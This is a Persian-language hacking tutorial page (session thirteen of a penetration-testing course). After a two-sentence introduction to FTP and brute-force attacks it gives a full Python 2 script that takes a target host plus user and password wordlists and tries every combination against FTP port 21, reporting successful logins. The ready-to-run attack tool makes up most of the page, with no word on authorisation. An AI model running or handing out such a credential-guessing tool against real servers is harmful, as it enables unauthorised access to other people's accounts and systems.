پایتونتست نفوذ

ساخت ابزار FTP BruteForce با پایتون

جلسه سیزدهم

ساخت ابزار FTP BruteForce

FTP مخفف File Transfer Protocol میباشد که وظیفه این پروتکل انتقال فایل در شبکه هست. یکی از راه های تست نفوذ این نوع سرویس حملات Bruteforce attack است.

در این اموزش هم با استفاده از زبان برنامه نویسی پایتون ابزاری را طراحی خواهیم کرد که می تواند حملات بروت فورس را به صورت انلاین بر روی سرویس FTP انجام دهد.

#!/usr/bin/python
from socket import *
import re

print """

FTP Brute Force Version 1.0
Coded By Kaliboys.com
"""


host = raw_input("Enter HOST target :")
user = raw_input("Enter userlist : ")
passwd = raw_input("Enter passlist :")

userlist = open(user,"r")
for users in userlist.readlines():
	passlist = open(passwd,"r")
	for passwords in passlist.readlines():
		s = socket(AF_INET,SOCK_STREAM)
		s.connect_ex((host,21))
		s.recv(1024)
		s.send('USER %s\r\n'%(users))
		res = s.recv(1024)
		s.send('PASS %s\r\n'%(passwords))
		res = s.recv(1024)
		if re.search('230',res):
			print "[+] find password ",passwords
		else:
			print "[!] try test","user",users,"psss",passwords
			print "---------------------------------------------"

یوسف وفایی

فارغ التحصیل کارشناسی IT، علاقه مند به برنامه نویسی و علم امنیت، عاشق یادگیری حرفه های جدید، کنجکاو برای همه چیز، همچنین همیشه تلاش میکنم تا به هدفم برسم...

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *


دکمه بازگشت به بالا